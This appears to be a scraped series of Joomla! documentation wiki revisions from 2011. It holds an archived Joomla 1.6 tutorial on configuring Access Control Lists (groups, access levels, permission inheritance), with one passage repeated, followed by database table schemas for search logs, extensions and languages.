Now, if we assign a menu item, module, or other object to the Guest access level, only non-logged in users will have access. For example, if we create a new menu item with access level of Guest, as shown below,
[[Image:screenshot_acl_tutorial_20110112-05.png|center|frame]]
this menu item will only be visible to non-logged-in visitors to the site. Login/logout in frontend (for changing data in session) to see the change.

=Using Permission and Group Levels Together=

As discussed above, it is possible to define groups in a hierarchy, where each child group inherits action permissions (for example, the create permission) from its parent group. Action permissions are also be inherited from the permission level above. For example, a permission in the Article Manager is inherited from the same permission in the Global Configuration, and a permission in a child Category is inherited from the parent Category permission.

This dual inheritance can be confusing, but it can also be useful. Let's consider an example as follows. We have a school with a group hierarchy of Teachers → History Teachers → Assistant History Teachers. We also have a category hierarchy of Assignments → History Assignments. We want History Teachers and Assistant History Teachers to have the following permissions:

* both groups can create new articles only in the History Assignments category.

* only History Teachers (not Assistant History Teachers) can Publish or otherwise have Edit State permission.

This ACL scheme is very easy to implement. The diagram below shows how this would be set up for the Create Action.

[[Image:Acl example diagram1 20091018.png|center|]]

In the diagram, the Permission Hierarchy is shown down the left side and the Group hierarchy is shown across the top. Permissions are inherited down and to the right, as shown by the arrows. To implement the desired permissions, we leave the Global Configuration blank (Not Set) for all three groups. Similarly, in the Article Manager and Assignments Category, we leave the Create permission to Inherit for all the groups. As shown in the diagram, this means that these groups do not have Create permission for articles in general or for articles in the Assignments group.

To sum up so far, we have not set any special permissions to get to this point. Now, in the History Assignments category permissions screen, we set the Create permission to Allow for the History Teachers group. This setting overrides the Soft (Implicit) Deny that we had by default and gives members of this group permission to create content (articles and child categories) for this category. This Allow setting also is inherited by the Assistant History Teachers group.

Next, we need to grant History Teachers the Edit State permission while denying this permission to Assistant History Teachers. This is done as shown in the diagram below.

[[Image:Acl example diagram2 20091018.png|center|]]

This configuration is the same as the one above except that this time we set the Edit State permission in the History Assignments category to Deny for the Assistant History Teachers group. This means that Assistant History Teachers will not be able to Publish or Unpublish articles in this category.

Note that this was accomplished by setting just two permissions in the History Assignments category: Allow for the History Teachers group and Deny for the Assistant History Teachers group.

=ACL Examples=
Here are some examples of how you might set up the ACL for some specific situations.

==Back-end Article Administrator==

'''Problem:'''

We want to create a group called "Article Administrator" with back-end permissions only for articles and not for any other back-end menu options. Members of this group should be able to use all of the features of the article manager, including setting article permissions.

'''Solution:'''

# Create a new group called Article Administrator and make its parent group Public, as shown below.[[Image:screenshot_acl_tutorial_20110112-10.png|center|frame]] Because its parent group is Public, it won't have any permissions by default.
# In Users → Access Levels, edit the Special Access level to add the new group. That way they can get access to the back end menu items and modules (This assumes that the modules for the admin menu and quickicons have the Special Access level assigned to them, which is the default.) [[Image:screenshot_acl_tutorial_20110112-11.png|center|frame]] By default, the back-end menu items and modules are set to Special access, so if you forget to add the new group to the Special access level, you won't see any modules or menu items when you log in as a user of the new group.
# In Site → Global Configuration → Permissions, click on the Article Administrator group and change the permissions to Allowed for the following actions: Admin Login, Create, Delete, Edit, Edit State, and Edit Own. The screen below shows what will show before you press Save. [[Image:screenshot_acl_tutorial_20110112-12.png|center|frame]]After you save, the Calculated Permissions should show as shown below.[[Image:screenshot_acl_tutorial_20110112-13.png|center|frame]]Note that the permission for the Access Component is Inherited, which translates to Not Allowed. This is important. This means that this group will only be able to access components if we give the group "Allowed" permission for Access Component. So we only have to change the one component we want to give them access to and don't have to change any settings for the components where we don't want them to have access. If we had a case where we wanted to give a group access to everything except for one component, we could set the default to Allowed and then set the one component to Denied. Also note that we did not give the group Site Login permission, so users in this group will not be able to log into the front end. (If we wanted to allow that, we would just change the permission to Allowed for Site Login.)
# In Article Manager → Options → Permissions, change permissions to Allowed for this group for the Access Component action, as shown below.[[Image:screenshot_acl_tutorial_20110112-14.png|center|frame]]All of the other desired permissions are inherited.

That's all you need to do. Members of this group can login to the back end and do everything in Article Manager but can't do anything else in the back end. For example, the screen below shows what a user in the Article Manager will see when they login to the back end.[[Image:screenshot_acl_tutorial_20110112-15.png|center|frame]]
[[Category:Joomla! 1.6]] [[Category:Tutorials]][[Category:Access Control]][[Category:Access Management]]

Archived:Access Control List Tutorial

2011-09-26T04:05:54Z

Cadrlp: class="wikitable"

=ACL Defined=

;ACL or [http://en.wikipedia.org/wiki/Access_control_list Access Control List]
:According to Wikipedia, “An ACL specifies which users or system processes are granted access to objects, as well as what operations are allowed to be performed on given objects.”

In the case of Joomla!, we have two separate aspects to ACL.
# Which users can gain access to what parts of the website? For example, will a given menu choice be visible for a given user?
# What operations (or actions) a user can perform on any given object? For example, can a user submit or edit an article?

=Overview of ACL in Version 1.6=

This section outlines the major ACL changes between versions 1.5 and 1.6.

==Users, Groups, and Access Levels==

With the definition in mind, let's look at how we set up the ACL for our site in version 1.6. The table below summarizes the major changes from version 1.5.

{| class="wikitable" cellspacing="0" cellpadding="4" border="1"
| 
| Version 1.5
| Version 1.6
|-
| Groups
| 7 fixed groups (Public, Registered, Author, Editor, Publisher, Manager, Administrator, and Super-Administrator)
| Unlimited user-defined Groups
|-
| Users & Groups
| A User can be assigned to only one group
| A User can be assigned to multiple groups
|-
| Access Levels
| 3 fixed Access Levels (Public, Registered, Special)
| Unlimited user-defined Access Levels
|-
| Access Levels & Groups
| Relationship between Groups and Access Levels was fixed.
| Groups are assigned to Access Levels. Any combination of Groups can be assigned to any Access Level.
|}

We see that in every case the ACL has been made much more flexible, with unlimited Groups and Access Levels, and the ability to assign one User to multiple Groups and any Groups to any Access Level.

==Actions, Groups, and Inheritance==

The other side of ACL is granting permissions to users to take actions on objects. Here again there is a big change between Version 1.5 and 1.6. In 1.5, the actions allowed for a given group were fixed. For example, a User in the Author group could only submit an article whereas someone in the Publisher group could submit, edit, and publish articles. Also, in version 1.5 the permissions were all-or-nothing. A member of the Editor group could edit all articles on the site.

The table below shows what has changed between versions 1.5 and 1.6.

{| class="wikitable" cellspacing="0" cellpadding="4" border="1"
| 
| Version 1.5
| Version 1.6
|-
| Groups and Actions
| Actions allowed by different groups are fixed.
| Actions allowed for each group are defined by site administrator.
|-
| Permission Scope
| Entire Site. User has same permissions for all objects on the site.
| Permissions can be set at multiple levels in hierarchy: Site, Component, Category, Object.
|-
| Permission Inheritance
| Not applicable
| Permissions can be inherited from parent Groups and parent Categories
|}

==How Permissions Work==

There are four possible permissions for actions, as outlined below:

* '''Not set''': Defaults to "deny" but, unlike the Deny permission, this permission can be overridden by setting a child group or a lower level in the permission hierarchy to "Allow". This permission only applies to the Global Configuration permissions.
* '''Inherit''': Inherits the value from a parent Group or from a higher level in the permission hierarchy. This permission applies to all levels except the Global Configuration level.
* '''Deny''': Denies this action for this level and group. '''IMPORTANT:''' This also denies this action for all child groups and all lower levels in the permission hierarchy. Putting in Allow for a child group or a lower level will not have any effect. The action will always be denied for any child group member and for any lower level in the permission hierarchy.
* '''Allow''': Allows this action for this level and group and for lower levels and child groups. This does not have any effect if a higher group or level is set to Deny or Allow. If a higher group or level is set to Deny, then this permission will always be denied. If a higher group or level is set to Allow, then this permission will already be allowed.

==Permission Hierarchy Levels==

Action permissions in version 1.6 can be defined at up to four levels, as follows:
# '''Global Configuration''': determines the default permissions for each action and group.
# '''Component Options->Permissions''': can override the default permissions for this component (for example, Articles, Menus, Users, Banners, and so on)
# '''Category''': can override the default permissions for objects in one or more categories. Applies to all components with categories, including Articles, Banners, Contacts, Newsfeeds, and Weblinks.
# '''Article''': Can override the permissions for a specific article. This level only applies to articles. Other components only allow the first three levels.

===Global Configuration===
This is accessed from Site → Global Configuration → Permissions. This screen allows you set the top-level permission for each group for each action, as shown in the screenshot below.
[[Image:screenshot_acl_tutorial_20110111-01.png|center]]
The options for each value are Inherited, Allowed, or Denied. The Calculated Setting column shows you the setting in effect. It is either Not Allowed (the default), Allowed, or Denied.

You work on one Group at a time by opening the slider for that group. You change the permissions in the Select New Settings drop-down list boxes.

Note that the Calculated Setting column is not updated until you press the Save button in the toolbar. To check that the settings are what you want, press the Save button and check the Calculated Settings column.

===Component Options->Permissions===
This is accessed for each component by clicking the Options icon in the toolbar. This screen is similar to the Global Configuration screen above. For example, clicking the Options toolbar icon in the Menu Manager shows the Menus Configuration below.
[[Image:screenshot_acl_tutorial_20110111-02.png|center]]
Access to Options is only available to members of groups who have permission for the Configure action in for each component. In the example above, the Administrator group has Allowed permission for the Configure option, so members of this group can access this screen.

===Category===
Category permissions are accessed in the Category Manager: Edit Category screen, in a slider at the bottom of the screen. This screen has five permissions, as shown below.
[[Image:screenshot_acl_tutorial_20110111-03.png|center]]
In these screens, you work on the permissions for one User Group at a time. In the example above, we are editing the permissions for the Administrator group.

Note that the Configure and Access Component actions do not apply at the category level, so those actions are not included.

Note also that Categories can be arranged in a hierarchy. If so, then action permissions in a parent category are inherited automatically by a child category. For example, if you had a category hierarchy of Animals → Pets → Dogs, then the full permission level hierarchy for an article in the Dogs category would be as follows:
* Global Configuration
* Article Manager → Options → Permission
* Animals Category
* Pets Category
* Dogs Category
* specific article

===Article===
Permissions for a single article are access in the Article Manager: Edit Article screen, again in a slider at the bottom of the screen. This screen has three actions, as shown below.
[[Image:screenshot_acl_tutorial_20110111-04.png|center]]
Again, you edit each group by clicking on it to open the slider for that group. You can then change the permissions under the Select New Setting column. To see the effect of any changes, press the Save button to update the Calculated Setting column.

Note that the Configure, Access Component, and Create actions do not apply at the article level, so these actions are not included. Permission to create an article is set at one of the higher levels in the hierarchy.

==Access Levels==

Access Levels in version 1.6 are simple and flexible. The screen below shows the Special Access Level.
[[Image:screenshot_acl_tutorial_20110111-05.png|center]]
Simply check the box for each group you want included in that level. The Special Access Level includes the Manager, Author, and Super Users groups. It also includes child groups of those groups. So, Administrator group is included, since it is a child group of the Manager group. The Editor, Publisher, and Shop Suppliers groups are included, since they are child groups of Author. (Note that we could check all of the child groups if we wanted and it wouldn't hurt anything.)

Once Access Levels are created, they are used in the same way as in version 1.5. Each object in the front end is assigned an Access Level. If the level is Public, then anyone may access that object. Otherwise, only members of groups assigned to that access level may access that object. Access levels are assigned to Menu Items and to Modules. Each one can only be assigned to one access level.

For example, the screen below shows the Edit Menu Item screen with the list of available access levels.

[[Image:screenshot_acl_tutorial_20110111-06.png|center]]

=Default ACL Setup=

When Joomla! is installed, these are set to their initial default settings. We will discuss these initial settings as a way to understand how the ACL works.

==Default Groups==

Version 1.6 allows you to define your own Groups. When you install version 1.6, it includes a set of default groups, as shown below.

[[Image:screenshot_acl_tutorial_20110111-07.png|center]]

The arrows indicate the child-parent relationships. As discussed above, when you set a permission for a parent group, this permission is automatically inherited by all child groups. The Inherited, and Allowed permissions can be overridden for a child group. The Denied permission cannot be overridden and will always deny an action for all child groups.

==Global Configuration==

Joomla! version 1.6 will install with the same familiar back-end permissions as that of version 1.5. However, with 1.6, you can easily change these to suit the needs of your site.

As discussed earlier, the permissions for each action are inherited from the level above in the permission hierarchy and from a group's parent group. Let's see how this works. The top level for this is the entire site. This is set up in the Site->Global Configuration->Permissions, as shown below.

[[Image:screenshot_acl_tutorial_20110111-08.png|center|]]

The first thing to notice are the nine Actions: Site Login, Admin Login, Super Admin, Access Component, Create, Delete, Edit, Edit State. and Edit Own. These are the actions that a user can perform on an object in Joomla. The specific meaning of each action depends on the context. For the Global Configuration screen, they are defined as follows:

;Site Login : Login to the front end of the site

;Admin Login : Login to the back end of the site

; Super Admin : Grants the user "super user" status. Users with this permission can do anything on the site. Only users with this permission can change Global Configuration settings (this screen). These permissions cannot be restricted. It is important to understand that, if a user is a member of a Super Admin group, any other permissions assigned to this user are irrelevant. The user can do any action on the site. However, Access Levels can still be assigned to control what this group sees on the site. (Obviously, a Super Admin user can change Access Levels if they want to, so Access Levels do not totally restrict what a Super Admin user can see.)

;Access Component: Open the component manager screens (User Manager, Menu Manager, Article Manager, and so on)

;Create : Create new objects (for example, users, menu items, articles, weblinks, and so on)

;Delete : Delete existing objects

;Edit : Edit existing objects

;Edit State : Change object state (Publish, Unpublish, Archive, and Trash)

;Edit Own : Edit objects that you have created.

Each Group for the site has its own slider which is opened by clicking on the group name. In this case (with the sample data installed), we have the standard 7 groups that we had in version 1.5 plus two additional groups called "Shop Suppliers" and "Customer Group". Notice that our groups are set up with the same permissions as they had in version 1.5. Keep in mind that we can change any of these permissions to make the security work the way we want. Let's go through this to see how it works.

* '''Public''' has everything set to "Not set", as shown below.
[[Image:screenshot_acl_tutorial_20110112-06.png|center|]]
: This can be a bit confusing. Basically, "Not Set" is the same as "Inherited". Because Public is our top-level group, and because Global Configuration is the top level of the component hierarchy, there is nothing to inherit from. So "Not Set" is used instead of "Inherit".
: The default in this case is for no permissions. So, as you would expect, the Public group has no special permissions. Also, it is important to note that, since nothing is set to Denied, all of these permissions may be overridden by child groups or by lower levels in the permission hierarchy.

* '''Manager''' is a "child" group of the Public group. It has Allowed permissions for everything except Access Component and Super Admin. So a member of this group can do everything in the front and back end of the site except change Global Permissions and Component Options.

* '''Administrator''' group members inherit all of the Manager permissions and also have Allowed for Access Component. So members of this group by default can access the Options screens for each component.

* '''Registered''' is the same a Public except for the Allow permission for the Site Login action. This means that members of the Registered group can login to the site. Since default permissions are inherited, this means that, unless a child group overrides this permission, all child groups of the Registered group will be able to login as well.

* '''Author''' is a child of the Registered group and inherits its permissions and also adds Create and Edit Own. Since Author, Editor, and Publisher have no back-end permissions, we will discuss them below, when we discuss front-end permissions.

* '''Editor''' is a child of the Authors group and adds the Edit permission.

* '''Publisher''' is a child of Editor and adds the Edit State permission.

* '''Shop Suppliers''' is an example group that is installed if you install the sample data. It is a child group of Author.

* '''Customer Group''' is an example group that is installed if you install the sample data. It is a child group of Registered.

* '''Super Users''' group has the Allow permission for the Super Admin action. Because of this, members of this group have super user permissions throughout the site. They are the only users who can access and edit values on the Global Configuration screen. Users with permission for the Super Admin action have some special characteristics:
** If a user has Super Admin permissions, no other permissions for this user matter. The user can perform any action on the site.
** Only Super Admin users can create, edit, or delete other Super Admin users or groups.

There are two very important points to understand from this screen. The first is to see how the permissions can be inherited from the parent Group. The second is to see how you can control the default permissions by Group and by Action.

This provides a lot of flexibility. For example, if you wanted Shop Suppliers to be able to have the ability to login to the back end, you could just change their Admin Login value to "Allowed". If you wanted to not allow members of Administrator group to delete objects or change their state, you would change their permissions in these columns to Inherited (or Denied).

It is also important to understand that the ability to have child groups is completely optional. It allows you to save some time when setting up new groups. However, if you like, you can set up all groups to have Public as the parent and not inherit any permissions from a parent group.

==Component Options & Permissions==

Now, let's continue to see how the default back-end permissions for version 1.6 mimic the permissions for version 1.5. The Super Users group in 1.6 is equivalent to the Super Administrator group in 1.5.

Just looking at the Global Configuration screen above, it would appear that the Administrator group and the Manager group have identical permissions. However, in version 1.5 Administrators can do everything except Global Configuration, whereas Managers are not permitted to add users or work with menu items. That is also true in the default version 1.6 configuration. Let's see how this is accomplished.

If we navigate to Users->User Manager and click the Options button in the toolbar, we see the screen below:

[[Image:screenshot_acl_tutorial_20110111-09.png|center|]]
[[Image:screenshot_acl_tutorial_20110111-10.png|center|]]

This screen is the same as the Global Configuration Permissions screen, except that these values only affect working with Users. Let's look at how this works.

First, notice that the Administrator group has Allow permission for the Admin action and the Manager group has Deny permission for this action. Remember that the Admin action in the Global Configuration screen gives the group "super user" permissions. In this screen, the Admin action allows you to edit the Options values. So, the Administrator group can do this but the Manager group cannot.

Next, notice that the Administrator has Inherit for the Manage action and the Manager group has Deny permission. In this screen, the Manage action gives a group access to the User Manager. Since the Administrator has Allow for the Manage action by default, then the Inherit permission here means they inherit the Allow permission for the Manage action. Since the Manager group has Deny permission for the Manage action, members of the Manager group cannot access the User Manager and therefore cannot do any of the other user-related actions.

If you look at the Options for Menus->Menu Manager, you will see the same default settings as for the User Manager. Again, the Administrator group can manage and set default permissions for Menu Manager objects whereas the Manager group cannot.

In short, we can see that the different permissions for the Administrator and Manager groups are set using the Options->Permissions forms on the User Manager and Menu Manager screens.

It is also important to understand that this same Options->Permissions form for setting default permissions is available for all Joomla! objects, including Media Manager, Banners, Contacts, Newsfeeds, Redirect, Search Statistics, Web Links, Extensions, Modules, Plugins, Templates, and Language. So you now have the option to create user groups with fine-tuned sets of back-end permissions.

==Front End Permissions==

Default permissions for the front end are also set using the Options form. Let's look at Content->Article Manager->Options->Permissions. First, let's look at the permissions for Manager, as shown below.
[[Image:screenshot_acl_tutorial_20110111-11a.png|center|frame]]
Manager has allowed permission for all actions except Configure. So members of the Manager group can do everything with Articles except open the Options screen.

Now let's look at Administrator, as shown below.
[[Image:screenshot_acl_tutorial_20110111-12a.png|center|frame]]
Administrator has Allowed for Configure, so Administrators can edit this Options screen.

Both groups can create, delete, edit, and change the state of articles.

Now, let's look at the groups Publisher, Editor, and Author and see how their permissions are set.

Authors only have Create and Edit Own permissions, as shown below.
[[Image:screenshot_acl_tutorial_20110112-07.png|center|frame]]
This means that Authors can create articles and can edit articles they have created. They may not delete articles, change the published state of articles, or edit articles created by others.

Editors have the same permissions as Authors with the addition of permission for the Edit action, as shown below.
[[Image:screenshot_acl_tutorial_20110112-08.png|center|frame]]
So Editors can edit articles written by anyone.

Publishers can do everything Editors can do plus they have permission for the Edit State action, as shown below.
[[Image:screenshot_acl_tutorial_20110112-09.png|center|frame]]
So Publishers can change the published state of an article. The possible states include Published, Unpublished, Archived, and Trashed.

All of these groups have Inherit permission for Configure and Access Component. Remember that Author is a child of the Registered group, and Registered does not have any default permissions except for Login. Since Registered does not have permission for Configure and Access Component, and since Author's permission for these actions is "Inherited", then Author does not have these permissions either. This same permission is passed from Author to Editor and from Editor to Publisher. So, by default, none of these groups are allowed to work with articles in the back end.

It is important to remember that these permissions are only default settings for categories and articles and for any child groups that are created. So they can be overridden for child groups, for categories, and for specific articles.

Also, note that there are no Denied permissions for any actions in the default settings. This allows you to add Allowed permissions at any level. Remember, once you have an action set for Denied, this action will be denied at all lower levels in the hierarchy. For example, if you set the Admin Login for Registered to Denied (instead of Inherited), you could not grant Publishers Allowed permissions for this action.

== Article Manager & Actions Diagram ==

The diagram below shows how each action in the permissions form relates to the various options on the Article Manager screen.

[[Image:screenshot_acl_tutorial_20110111-16.png|center|]]

* '''Configure''' allows you to view and change the Options for the component.
* '''Access Component''' allows you to navigate to the Article Manager. Without this permission, no other actions are possible.
* '''Create''' allows you to add new articles.
* '''Delete''' allows you to delete trashed articles. Note that the Delete icon only shows in the toolbar when you have the "Select State" filter set to "Trash".
* '''Edit''' allows you to edit existing articles.
* '''Edit State''' allows to you Publish, Unpublish, Archive, or Trash articles.
* '''Edit Own''' is the same as Edit except that it only applies to articles written by you.

=Allowing Guest-Only Access to Menu Items and Modules=

Version 1.6 introduces the ability to create a View Access Level that is only for guests of the site (meaning a user who is not logged in). The example below shows how you can set up this new feature.

#Create a new user group called Guest. Make it a child of the Public group as shown below. [[Image:screenshot_acl_tutorial_20110112-01.png|center|frame]]
# Create a new access level called Guest and grant only the Guest group access to this level, as shown below.[[Image:screenshot_acl_tutorial_20110112-02.png|center|frame]]
# Edit the Public access level and add the Guest group to it, as shown below.[[Image:screenshot_acl_tutorial_20110112-03.png|center|frame]]
# Navigate to User Manager→Options→Component and change the Guest User Group from the default value of "Public" to "Guest", as shown below.
[[Image:screenshot_acl_tutorial_20110112-04.png|center|frame]]

Now, if we assign a menu item, module, or other object to the Guest access level, only non-logged in users will have access. For example, if we create a new menu item with access level of Guest, as shown below,
[[Image:screenshot_acl_tutorial_20110112-05.png|center|frame]]
this menu item will only be visible to non-logged-in visitors to the site. Login/logout in frontend (for changing data in session) to see the change.

=Using Permission and Group Levels Together=

As discussed above, it is possible to define groups in a hierarchy, where each child group inherits action permissions (for example, the create permission) from its parent group. Action permissions are also be inherited from the permission level above. For example, a permission in the Article Manager is inherited from the same permission in the Global Configuration, and a permission in a child Category is inherited from the parent Category permission.

This dual inheritance can be confusing, but it can also be useful. Let's consider an example as follows. We have a school with a group hierarchy of Teachers → History Teachers → Assistant History Teachers. We also have a category hierarchy of Assignments → History Assignments. We want History Teachers and Assistant History Teachers to have the following permissions:

* both groups can create new articles only in the History Assignments category.

* only History Teachers (not Assistant History Teachers) can Publish or otherwise have Edit State permission.

This ACL scheme is very easy to implement. The diagram below shows how this would be set up for the Create Action.

[[Image:Acl example diagram1 20091018.png|center|]]

In the diagram, the Permission Hierarchy is shown down the left side and the Group hierarchy is shown across the top. Permissions are inherited down and to the right, as shown by the arrows. To implement the desired permissions, we leave the Global Configuration blank (Not Set) for all three groups. Similarly, in the Article Manager and Assignments Category, we leave the Create permission to Inherit for all the groups. As shown in the diagram, this means that these groups do not have Create permission for articles in general or for articles in the Assignments group.

To sum up so far, we have not set any special permissions to get to this point. Now, in the History Assignments category permissions screen, we set the Create permission to Allow for the History Teachers group. This setting overrides the Soft (Implicit) Deny that we had by default and gives members of this group permission to create content (articles and child categories) for this category. This Allow setting also is inherited by the Assistant History Teachers group.

Next, we need to grant History Teachers the Edit State permission while denying this permission to Assistant History Teachers. This is done as shown in the diagram below.

[[Image:Acl example diagram2 20091018.png|center|]]

This configuration is the same as the one above except that this time we set the Edit State permission in the History Assignments category to Deny for the Assistant History Teachers group. This means that Assistant History Teachers will not be able to Publish or Unpublish articles in this category.

Note that this was accomplished by setting just two permissions in the History Assignments category: Allow for the History Teachers group and Deny for the Assistant History Teachers group.

=ACL Examples=
Here are some examples of how you might set up the ACL for some specific situations.

==Back-end Article Administrator==

'''Problem:'''

We want to create a group called "Article Administrator" with back-end permissions only for articles and not for any other back-end menu options. Members of this group should be able to use all of the features of the article manager, including setting article permissions.

'''Solution:'''

# Create a new group called Article Administrator and make its parent group Public, as shown below.[[Image:screenshot_acl_tutorial_20110112-10.png|center|frame]] Because its parent group is Public, it won't have any permissions by default.
# In Users → Access Levels, edit the Special Access level to add the new group. That way they can get access to the back end menu items and modules (This assumes that the modules for the admin menu and quickicons have the Special Access level assigned to them, which is the default.) [[Image:screenshot_acl_tutorial_20110112-11.png|center|frame]] By default, the back-end menu items and modules are set to Special access, so if you forget to add the new group to the Special access level, you won't see any modules or menu items when you log in as a user of the new group.
# In Site → Global Configuration → Permissions, click on the Article Administrator group and change the permissions to Allowed for the following actions: Admin Login, Create, Delete, Edit, Edit State, and Edit Own. The screen below shows what will show before you press Save. [[Image:screenshot_acl_tutorial_20110112-12.png|center|frame]]After you save, the Calculated Permissions should show as shown below.[[Image:screenshot_acl_tutorial_20110112-13.png|center|frame]]Note that the permission for the Access Component is Inherited, which translates to Not Allowed. This is important. This means that this group will only be able to access components if we give the group "Allowed" permission for Access Component. So we only have to change the one component we want to give them access to and don't have to change any settings for the components where we don't want them to have access. If we had a case where we wanted to give a group access to everything except for one component, we could set the default to Allowed and then set the one component to Denied. Also note that we did not give the group Site Login permission, so users in this group will not be able to log into the front end. (If we wanted to allow that, we would just change the permission to Allowed for Site Login.)
# In Article Manager → Options → Permissions, change permissions to Allowed for this group for the Access Component action, as shown below.[[Image:screenshot_acl_tutorial_20110112-14.png|center|frame]]All of the other desired permissions are inherited.

That's all you need to do. Members of this group can login to the back end and do everything in Article Manager but can't do anything else in the back end. For example, the screen below shows what a user in the Article Manager will see when they login to the back end.[[Image:screenshot_acl_tutorial_20110112-15.png|center|frame]]
[[Category:Joomla! 1.6]] [[Category:Tutorials]][[Category:Access Control]][[Category:Access Management]]

Category:JRule

2011-09-25T03:24:34Z

Cadrlp: Blanked the page

Category:JRule

2011-09-25T03:24:24Z

Cadrlp: create a page

Tables/core log searches

2011-09-25T03:22:27Z

Cadrlp: class="wikitable"

== Usage: ==
* Since:

== Description: ==

{| class="wikitable" border="1"
|+ '''core_log_searches Table (#__core_log_searches)'''
|- bgcolor="lightgrey"
| Field || Type || Nullable || Default || Key || Extra || Comments
|-
| search_term || varchar(128) || NOT NULL || '' || || ||
|-
| hits || integer unsigned || NOT NULL || 0 || || ||
|}

== Notes ==

{| class="wikitable" border="1"
|+ '''Indices'''
|- bgcolor="lightgrey"
| Index Name || Column(s) || Unique?
|}

* Default character set: '''utf8'''

Tables/extensions

2011-09-25T03:22:05Z

Cadrlp: class="wikitable"

= Usage =
* '''Since: ''' 1.6
* '''Deprecated Since: ''' Current

= Description =
The extensions table is designed to hold all extensions installed into Joomla!. The extensions table also functions as the primary storage of information for plugins as of 1.6 as well as the library and package extensions added in to the 1.6 release. Additionally, modules now uses the table to gather its information for installation or uninstallation. The aim of the extensions table is to reduce the need to create a new table for each extension instead thus allowing specific tables to be created that store information that is unique to that extension instead of information that should be shared. This table is closely modelled off the plugins table with some slight additions and replaces the plugins table in the Joomla! 1.6 release.

{| class="wikitable" border=1
|+ '''Extensions Table'''
|- bgcolor=grey
! Field !! Type !! Null !! Key !! Default !! Extra !! Comments
|-
| extension_id || int(11) || || PRI || NULL || auto_increment || Unique extension ID
|-
| name || varchar(100) || || || || || Friendly name of the extension
|-
| type || varchar(20) || || || || || The extension type
|-
| element || varchar(100) || || || || || The unique name of the element
|-
| folder || varchar(100) || || || || || The folder of the element
|-
| client_id || tinyint(3) || || || 0 || || The client ID of the extension
|-
| enabled || tinyint(3) || || || 1 || || The enabled status of the extension
|-
| access || tinyint(3) unsigned || || || 0 || || Primitive access control
|-
| protected || tinyint(3) || || || 0 || || Uninstallation protection
|-
| manifest_cache || text || || || || || Cache of the XML manifest file
|-
| params || text || || || || || Parameters for the extensions
|-
| data || text || || || || || Unused excess data field
|-
| checked_out || int(10) unsigned || || || 0 || || Checked Out (FKEY users.id)
|-
| checked_out_time || datetime || || || 0000-00-00 00:00:00 || || Checked Out Time
|-
| ordering || int(11) || YES || || 0 || || Ordering
|-
| state || int(11) || || || 0 || || Extension State (discovered, installed, etc)
|}

= Notes =
Not all fields are used for all extension types. For example, plugins use the folder whilst most other extensions do not. Client ID is used by modules, templates and languages to specify which application (client) they should run in (e.g. administrator or site). The extensions table can be used to set defaults for extensions where there may exist instances of the extension (e.g. modules), however in 1.6 this does not occur. The table also features the standard checked out fields to support extension locking which is utilised by plugins. The protected field controls if an extension can be uninstalled through the administrator interface and the access is analagous to the access control field used in many other tables (typically public, registered or special). Again, extensions may wish to use this table as either the primary table (plugins) or as a 'defaults' table or 'global' table to control the behaviour of all instances of an extension.

Tables/languages

2011-09-25T03:21:49Z

Cadrlp: class="wikitable"

== Usage: ==
* Since:

== Description: ==

{| class="wikitable" border="1"
|+ '''languages Table (#__languages)'''
|- bgcolor="lightgrey"
| Field || Type || Nullable || Default || Key || Extra || Comments
|-
| lang_id || int(11) unsigned || NOT NULL || || PK || auto_increment ||
|-
| lang_code || char(7) || NOT NULL || || || ||
|-
| title || varchar(50) || NOT NULL || || || ||
|-
| title_native || varchar(50) || NOT NULL || || || ||
|-
| sef || varchar(50) || NOT NULL || || || ||
|-
| image || varchar(50) || NOT NULL || || || ||
|-
| description || varchar(512) || NOT NULL || || || ||
|-
| metakey || text || NOT NULL || || || ||
|-
| metadesc || text || NOT NULL || || || ||
|-
| published || int(11) || NOT NULL || 0 || || ||
|}

== Notes ==
The default Joomla! installation includes entries in the languages table for
the following language codes:

* en-GB
* xx-XX

{| class="wikitable" border="1"
|+ '''Indices'''
|- bgcolor="lightgrey"
| Index Name || Column(s) || Unique?
|-
| idx_sef || sef || Yes
|}

*